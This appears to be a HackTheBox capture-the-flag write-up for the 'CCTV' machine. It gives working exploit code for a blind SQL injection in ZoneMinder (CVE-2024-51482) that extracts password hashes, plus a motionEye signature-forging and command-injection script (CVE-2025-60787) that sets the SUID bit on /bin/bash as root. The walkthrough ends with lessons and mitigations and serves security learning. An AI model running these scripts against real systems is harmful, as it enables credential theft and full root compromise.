/bin/bash.HackTheBox Linux Medium
πΊοΈ Machine Info#
| Field | Detail |
|---|---|
| Name | CCTV |
| OS | Linux |
| Difficulty | Medium |
| IP | 10.129.244.156 |
| Techniques | CVE-2024-51482 Β· Boolean-based Blind SQLi Β· bcrypt Cracking Β· CVE-2025-60787 Β· SUID PrivEsc |
1. Reconnaissance#
1.1 Port Scan#
nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.244.156PORT STATE SERVICE
22/tcp open ssh
80/tcp open httpecho "10.129.244.156 cctv.htb" >> /etc/hostsπ‘ Attack surface: Only SSH and a web service. All initial investigation necessarily goes through the web application on port 80.
2. Web Enumeration β ZoneMinder#
Visiting http://cctv.htb we find a staff login panel. We try default credentials:
admin : adminβ Access granted. The application is ZoneMinder v1.37.63, an open-source video surveillance system.
β οΈ Vulnerability identified: This version is vulnerable to CVE-2024-51482, a blind SQL Injection in the
tidparameter of theweb/ajax/event.phpendpoint. Any authenticated user β includingadmin:adminby default β can exploit it.
We first try the public time-based reference exploit:
python3 CVE-2024-51482.py -i 10.129.244.156 -u admin -p admin --test[-] Target does not appear vulnerableThe server buffers SLEEP() delays, so time-based detection fails. However, the tid parameter is still unsanitized β we switch to boolean-based blind SQLi: instead of measuring time, we observe whether the "response" key appears or not in the JSON response depending on whether the injected condition is true or false.
2.1 Vulnerable Request#
GET /zm/index.php?view=request&request=event&action=removetag&tid=<PAYLOAD>
Cookie: ZMSESSID=<session_cookie>2.2 Payload Logic#
-- Is the first character of mark's password hash '$' (ASCII 36)?
0 UNION SELECT 1,2,3,4 FROM Users WHERE Id=2 AND ASCII(SUBSTRING(Password,1,1))=36If the condition is true, the response changes in a detectable way. Iterating position by position and character by character we extract the full hash without time delays.
2.3 Extraction Script#
import requests, sys
URL = 'http://cctv.htb/zm/index.php'
COOKIE = {'ZMSESSID': sys.argv[1]}
# Charset optimized for bcrypt ($2y$10$...)
CHARSET = [ord(c) for c in '$2abcdefghijklmnopqrstuvwxyz0123456789./ABCDEFGHIJKLMNOPQRSTUVWXYZ']
def check(user_id, pos, asc_val):
payload = (
f'0 UNION SELECT 1,2,3,4 FROM Users '
f'WHERE Id={user_id} AND ASCII(SUBSTRING(Password,{pos},1))={asc_val}'
)
params = {'view':'request','request':'event','action':'removetag','tid':payload}
r = requests.get(URL, params=params, cookies=COOKIE, timeout=5)
return '"response"' not in r.text and r.status_code == 200
for uid, uname in [(1,'superadmin'),(2,'mark')]:
password = ''
for pos in range(1, 61):
found = False
for asc in CHARSET:
if check(uid, pos, asc):
password += chr(asc); found = True; break
if not found:
for asc in range(32, 127):
if check(uid, pos, asc):
password += chr(asc); found = True; break
if not found: password += '?'
print(f'{uname} hash: {password}')The charset prioritizes typical bcrypt characters ($, digits, letters, and ./) to reduce the number of requests needed per position.
We extract the ZMSESSID from the authenticated session and run:
python3 sqli.py jalvld8p48s3gpba63pb8gi3hosuperadmin hash: $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
mark hash: $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.3. Hash Cracking and SSH Access#
We save mark’s hash and crack it with John the Ripper:
echo '$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.' > mark.hash
john --wordlist=/usr/share/wordlists/rockyou.txt mark.hashLoaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
opensesame (?)
1g 0:00:01:06 DONE β 0.01503g/s 89.82p/sπ Credentials obtained:
mark:opensesame
ssh mark@cctv.htbmark@cctv:~$ id
uid=1000(mark) gid=1000(mark) groups=1000(mark),24(cdrom),30(dip),46(plugdev)4. User Flag#
mark@cctv:~$ cat /home/sa_mark/user.txtπ User flag obtained.
5. Privilege Escalation β motionEye Running as Root#
5.1 Local Service Enumeration#
mark@cctv:~$ ss -tlnpLISTEN 127.0.0.1:7999
LISTEN 127.0.0.1:8765
LISTEN 127.0.0.1:8554
LISTEN 127.0.0.1:3306
LISTEN 0.0.0.0:22
LISTEN *:80mark@cctv:~$ grep User /etc/systemd/system/motioneye.service
User=rootπ‘ Key finding: motionEye (ports
7999and8765) runs as root. If we can execute code through it, escalation is direct.
5.2 Signing Key Exposed in Configuration#
mark@cctv:~$ cat /etc/motioneye/motion.conf# @admin_username admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
# @normal_username user
# @normal_password
setup_mode off
webcontrol_port 7999
webcontrol_localhost onπ‘ Critical data:
admin_passwordis not the plaintext password β it’s the hash that motionEye uses as the HMAC signing key to authenticate requests to its REST API. Each request must include a_signatureparameter computed with that key. Sincemarkcan read this file, we have the key without needing the real credentials. This is the basis of CVE-2025-60787.
6. Exploitation β CVE-2025-60787: Forged Signature + RCE via Filename#
6.1 Vulnerability Analysis#
CVE-2025-60787 combines two problems in motionEye:
Signing key readable by non-administrative users: With access to
motion.conf, any local user can sign arbitrary requests to the administrative API without knowing the real password.Command injection in
image_file_name: The field defining capture filenames supports strftime-style templates (%Y-%m-%d), but doesn’t sanitize$(...)content. When motion generates the filename through a shell, any embedded subcommand executes β and since the service runs as root, the command runs with root privileges.
Normal flow: image_file_name = "capture_%Y-%m-%d" β motion generates "capture_2026-06-22"
Malicious flow: image_file_name = "$(chmod u+s /bin/bash).%Y-%m-%d"
β motion invokes shell to expand the template
β subcommand executed as root β /bin/bash gets SUID bit6.2 Signature Computation#
motionEye signs requests by concatenating HTTP method, normalized path, body, and key, then computing SHA-1 over the result. We reproduce the exact algorithm:
import hashlib, re, urllib.parse, requests, json
_SIGNATURE_REGEX = re.compile(r"[^a-zA-Z0-9/?_.=&{}\[\]\":, -]")
KEY = "989c5a8ee87a0e9521ec81a79187d162109282f0"
BASE = "http://127.0.0.1:8765"
def compute_sig(method, path_with_query, body=""):
parts = list(urllib.parse.urlsplit(path_with_query))
query = [q for q in urllib.parse.parse_qsl(parts[3], keep_blank_values=True)
if q[0] != "_signature"]
query.sort(key=lambda q: q[0])
query = [(n, urllib.parse.quote(v, safe="!'()*~")) for (n, v) in query]
parts[0] = parts[1] = ""
parts[3] = "&".join([q[0] + "=" + q[1] for q in query])
path = _SIGNATURE_REGEX.sub("-", urllib.parse.urlunsplit(parts))
k = _SIGNATURE_REGEX.sub("-", KEY)
body_str = _SIGNATURE_REGEX.sub("-", body) if body else ""
return hashlib.sha1(f"{method}:{path}:{body_str}:{k}".encode()).hexdigest().lower()6.3 Exploit Execution#
Step 1 β Read the current camera configuration (needed for the set, which requires the full object):
qget = "/config/1/get?_username=admin"
r = requests.get(f"{BASE}{qget}&_signature={compute_sig('GET', qget)}")
ui = r.json()Step 2 β Inject the payload into image_file_name:
ui["image_file_name"] = "$(chmod u+s /bin/bash).%Y-%m-%d"
ui["capture_mode"] = "all-frames"
ui["still_images"] = TrueEnabling all-frames forces motion to generate captures continuously, guaranteeing the malicious filename gets evaluated quickly.
Step 3 β Send the poisoned configuration:
body = json.dumps(ui)
qset = "/config/1/set?_username=admin"
r = requests.post(
f"{BASE}{qset}&_signature={compute_sig('POST', qset, body)}",
data=body,
headers={"Content-Type": "application/json"}
)
print(f"[*] Config update: {r.status_code} β {r.text}")mark@cctv:/tmp$ python3 exploit.py
[*] Config update: 200 β {"reload": false, "reboot": false, "error": null}After the motion service restarts, the subcommand executes as root and /bin/bash gets SUID:
mark@cctv:/tmp$ /bin/bash -p
bash-5.2# id
uid=1000(mark) gid=1000(mark) euid=0(root) groups=1000(mark)β Shell with EUID 0 (root) obtained.
7. Root Flag#
bash-5.2# cat /root/root.txtπ Root flag obtained.
8. Summary and Lessons Learned#
Compromise path:
- Recon β Port 80 with ZoneMinder v1.37.63; default credentials
admin:admin. - CVE-2024-51482 β Boolean-based blind SQLi on
tidβ bcrypt hashes ofsuperadminandmark. - Cracking β John + rockyou.txt β
mark:opensesameβ SSH. - Local enumeration β motionEye on ports 7999/8765 running as root; readable
motion.confwith exposed signing key. - CVE-2025-60787 β Forged HMAC signature +
$(...)injection inimage_file_nameβchmod u+s /bin/bashexecuted as root. - Flags β User flag at
/home/sa_mark/user.txt; root flag with/bin/bash -p.
What I learned from this machine:
Default credentials are still the most frequent and most ignored entry vector. ZoneMinder installs with
admin:adminand many production instances never change it. Without those credentials, the SQLi in CVE-2024-51482 is not exploitable (requires authentication) β the most basic hardening would have cut the attack at the first step.Time-based SQLi and boolean-based SQLi are not interchangeable. When the server buffers delays (WAF, connection pooling, engine configuration), time-based detection fails even though the injection exists. Switching to boolean-based β observing differences in response content rather than timing β is the natural next step and worked perfectly here.
A readable configuration file can be worth more than a password. The
admin_passwordkey inmotion.confwasn’t the user’s password β it was the cryptographic signing key for the entire API. Read access to that file was equivalent to full administrative access to motionEye without knowing any real credentials. The principle of least privilege on configuration files isn’t just a best practice β it’s a concrete defensive layer.Templating systems that invoke a shell are an immediate command injection vector if they don’t sanitize input.
image_file_namesupported variable substitutions, which requires invoking a shell to expand them. Any field that goes through a shell without sanitizing$()is potentially vulnerable. The fix isn’t better sanitization β it’s not invoking a shell for template expansion when it’s not strictly necessary.A service running as root with the ability to write to the filesystem is immediate escalation. SUID on
/bin/bashis one of the simplest possible payloads β no kernel exploits needed, not architecture-dependent, works as long as/bin/bashexists. The root problem isn’t the payload but that motion runs as root unnecessarily.
Mitigations:
| Vector | Mitigation |
|---|---|
| Default credentials in ZoneMinder | Force change on first login; remove default credentials before exposing the panel |
CVE-2024-51482 β blind SQLi on tid | Update ZoneMinder to patched version; use prepared statements on all AJAX endpoints |
| Signing key readable by non-administrative users | Restrict motion.conf permissions to root only; don’t derive signing keys from admin passwords |
| motionEye running as root | Run with a dedicated unprivileged user; use setcap if camera device access is needed |
CVE-2025-60787 β injection via image_file_name | Update motionEye to patched version; don’t expand filename templates via a shell |
| No segmentation between services and root privileges | Periodically audit which local services run with unnecessarily elevated privileges |